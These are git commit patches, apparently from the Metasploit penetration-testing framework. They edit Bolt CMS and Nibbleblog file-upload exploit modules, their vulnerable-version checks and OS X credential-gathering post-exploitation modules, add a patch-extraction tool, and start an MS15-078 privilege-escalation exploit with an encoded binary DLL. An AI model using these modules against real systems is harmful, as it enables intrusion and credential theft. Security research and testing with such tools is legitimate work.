+8,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper - include Msf::HTTP::Wordpress def initialize(info = {}) super(update_info( From 0ba03f7a06ac03a08ff47498bd33100bae37d739 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 9 Sep 2015 21:27:57 -0300 Subject: [PATCH 0605/2172] Fix words. --- modules/exploits/multi/http/bolt_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index df5b8a3df9..35af98bfbb 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), - OptString.new('FOLDERNAME', [true, 'The theme path to web application (base-2014 is default)', 'base-2014']), + OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ], self.class) From ab1d61d80bb48d3eadbe43e2b28fcfac5a0d52b6 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 9 Sep 2015 21:34:07 -0500 Subject: [PATCH 0606/2172] Add MSU extractor If you do patch test/analysis/diffing, you might find this tool handy. This tool will automatically extract all the *.msu files, and then you can search for the patched files you're looking for quickly. The workflow would be something like this: 1. You download the patches from: http://mybulletins.technet.microsoft.com/BulletinPages/Dashboard 2. You put all the *.msu files in one directory. 3. Run this tool: extract_msu.bat [path to *.msu files] 4. The tool should extract the updates. After it's done, you can use Windows to search for the file(s) you're looking for. --- tools/extract_msu.bat | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 tools/extract_msu.bat diff --git a/tools/extract_msu.bat b/tools/extract_msu.bat new file mode 100644 index 0000000000..f00ff20e0a --- /dev/null +++ b/tools/extract_msu.bat @@ -0,0 +1,30 @@ +@echo off +@setlocal EnableDelayedExpansion + +@set arg=%~1 + +if [%arg%] == [] ( + echo Argument Missing: + echo You must provide a directory that contains + echo all the Windows patches in *.msu format. + echo To Download patches manually, please go: + echo http://mybulletins.technet.microsoft.com/BulletinPages/Dashboard + exit /B +) + + +for /f %%f in ('dir /B %arg%') DO ( + @set fname=%%f + @set lastfourchars=!fname:~-4,4! + if "!lastfourchars!" == ".msu" ( + @set newname=!fname:~0,-4! + 7za e !fname! -o!newname! + mkdir !newname!\extracted + expand /F:* !newname!\!newname!.cab !newname!\extracted + ) +) + +echo Done! +echo Now go to %arg%, +echo and then use the search feature from Windows to +echo find the files you're interested in. \ No newline at end of file From 54808869277a3a5077cb8233765604b265a0b749 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 9 Sep 2015 22:00:35 -0500 Subject: [PATCH 0607/2172] Do absolute path --- tools/extract_msu.bat | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/tools/extract_msu.bat b/tools/extract_msu.bat index f00ff20e0a..eab185d398 100644 --- a/tools/extract_msu.bat +++ b/tools/extract_msu.bat @@ -18,10 +18,11 @@ for /f %%f in ('dir /B %arg%') DO ( @set lastfourchars=!fname:~-4,4! if "!lastfourchars!" == ".msu" ( @set newname=!fname:~0,-4! - 7za e !fname! -o!newname! - mkdir !newname!\extracted - expand /F:* !newname!\!newname!.cab !newname!\extracted + 7za e %arg%!fname! -o%arg%!newname! + mkdir %arg%!newname!\extracted + expand /F:* %arg%!newname!\!newname!.cab %arg%!newname!\extracted ) + ) echo Done! From 4566f47ac56c40130f942c6f44ac2e3bb0a3ba35 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Thu, 10 Sep 2015 03:56:46 -0300 Subject: [PATCH 0608/2172] Fix check method. --- .../multi/http/nibbleblog_file_upload.rb | 32 ++++++++++++------- 1 file changed, 20 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index 53bc9cb2f5..8c22dff610 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -45,18 +45,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def check - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin.php') - ) - - if res && res.code == 200 && res.body.include?('Sign in to Nibbleblog admin area') - return Exploit::CheckCode::Appears - end - Exploit::CheckCode::Safe - end - def username datastore['USERNAME'] end @@ -65,6 +53,26 @@ class Metasploit3 < Msf::Exploit::Remote datastore['PASSWORD'] end + def check + cookie = do_login(username, password) + return Exploit::CheckCode::Detected unless cookie + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin.php'), + 'cookie' => cookie, + 'vars_get' => { + 'controller' => 'settings', + 'action' => 'general' + } + ) + + if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"') + return Exploit::CheckCode::Vulnerable + end + Exploit::CheckCode::Safe + end + def do_login(user, pass) res = send_request_cgi( 'method' => 'GET', From 68521da2ce973f3d975e79111c9e0adbe362e542 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Thu, 10 Sep 2015 04:40:12 -0300 Subject: [PATCH 0609/2172] Fix check method. --- modules/exploits/multi/http/bolt_file_upload.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index 35af98bfbb..358b760537 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -47,13 +47,17 @@ class Metasploit3 < Msf::Exploit::Remote end def check + cookie = bolt_login(username, password) + return Exploit::CheckCode::Detected unless cookie + res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'bolt', 'login') + 'uri' => normalize_uri(target_uri.path, 'bolt'), + 'cookie' => cookie ) - if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt') - return Exploit::CheckCode::Appears + if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS') + return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end From 90ef9c11c9ae39fb6003f7c599f5cd16e6442375 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 10 Sep 2015 15:57:43 -0500 Subject: [PATCH 0610/2172] Support meterpreter for OS X post modules --- modules/post/osx/admin/say.rb | 2 +- modules/post/osx/capture/screen.rb | 2 +- modules/post/osx/gather/autologin_password.rb | 2 +- modules/post/osx/gather/enum_adium.rb | 2 +- modules/post/osx/gather/enum_airport.rb | 2 +- modules/post/osx/gather/enum_chicken_vnc_profile.rb | 2 +- modules/post/osx/gather/enum_colloquy.rb | 2 +- modules/post/osx/gather/enum_keychain.rb | 2 +- modules/post/osx/gather/enum_osx.rb | 2 +- modules/post/osx/gather/safari_lastsession.rb | 2 +- modules/post/osx/manage/mount_share.rb | 2 +- 11 files changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb index 1dd4926654..2d11de9201 100644 --- a/modules/post/osx/admin/say.rb +++ b/modules/post/osx/admin/say.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "shell" ] + 'SessionTypes' => [ "meterpreter", "shell" ] )) register_options( diff --git a/modules/post/osx/capture/screen.rb b/modules/post/osx/capture/screen.rb index b19f3ed240..02ce7c8cdf 100644 --- a/modules/post/osx/capture/screen.rb +++ b/modules/post/osx/capture/screen.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post 'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx ], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ] )) register_options( diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb index a34127ce13..88546475f6 100644 --- a/modules/post/osx/gather/autologin_password.rb +++ b/modules/post/osx/gather/autologin_password.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post 'References' => [ ['URL', 'http://www.brock-family.org/gavin/perl/kcpassword.html'] ], - 'SessionTypes' => [ 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ] )) register_advanced_options([ diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index bfc8be6cd0..f6b668343a 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "shell" ], + 'SessionTypes' => [ "meterpreter", "shell" ], 'Actions' => [ ['ACCOUNTS', { 'Description' => 'Collect account-related plists' } ], diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index df342ea521..3a59f7ae1e 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "shell" ] + 'SessionTypes' => [ "meterpreter", "shell" ] )) end diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index 39ff10c777..f572a2d64a 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "shell" ] + 'SessionTypes' => [ "meterpreter", "shell" ] )) end diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index 7e029d0ea7..27197533b5 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "shell" ], + 'SessionTypes' => [ "meterpreter", "shell" ], 'Actions' => [ ['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ], diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index f27909c5ba..a4fbe15cc5 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ 'shell' ] + 'SessionTypes' => [ 'meterpreter', 'shell' ] )) register_options( diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index 292418f5f4..fa87e2c46c 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "shell" ] + 'SessionTypes' => [ "meterpreter", "shell" ] )) end diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index f26426aaf2..f3548cddf8 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r'], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ 'shell' ], + 'SessionTypes' => [ 'meterpreter','shell' ], 'References' => [ ['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari'] diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index f68abe4b92..4db60b33c1 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post 'joev' ], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ 'shell' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Actions' => [ [ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ], [ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ], From cddf72cd57930832864f864d758993220ab36f46 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Thu, 10 Sep 2015 14:05:40 -0700 Subject: [PATCH 0611/2172] Show errors when no results are found --- modules/auxiliary/gather/shodan_search.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index f508510cbd..0c192067d9 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -112,7 +112,12 @@ class Metasploit4 < Msf::Auxiliary results[page] = shodan_query(query, apikey, page) if results[page]['total'].nil? || results[page]['total'] == 0 - print_error('No Results Found!') + msg = "No results." + if results[page]['error'].to_s.length > 0 + msg << " Error: #{results[page]['error']}" + end + print_error(msg) + return end # Determine page count based on total results From 602a12a1af48ee058cda108af5f601bf4a73de0f Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 10 Sep 2015 18:28:42 -0500 Subject: [PATCH 0612/2172] typo --- modules/exploits/multi/http/bolt_file_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index 358b760537..ec8b0b4797 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote info, 'Name' => 'CMS Bolt File Upload Vulnerability', 'Description' => %q{ - Bolt CMS contains a flaw that allows a authenticated remote + Bolt CMS contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 2.2.4. }, From 53f995b9c356b2d0a05d7f8052d078e61cfd9d27 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 10 Sep 2015 19:35:26 -0500 Subject: [PATCH 0613/2172] Do first prototype --- .../CVE-2015-2426/reflective_dll.x64.dll | Bin 870912 -> 870912 bytes .../post/windows/reflective_dll_injection.rb | 20 +- lib/msf/core/reflective_dll_loader.rb | 27 ++- .../windows/local/ms15_078_atmfd_bof.rb | 183 +++++++++++++++++- 4 files changed, 213 insertions(+), 17 deletions(-) diff --git a/data/exploits/CVE-2015-2426/reflective_dll.x64.dll b/data/exploits/CVE-2015-2426/reflective_dll.x64.dll index bb48efe24eb481c4efdb1eeb531724ac02963ead..f48a457dc1369c1cf9b93d260ffafa6a4e2d2cdf 100755 GIT binary patch delta 12538 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 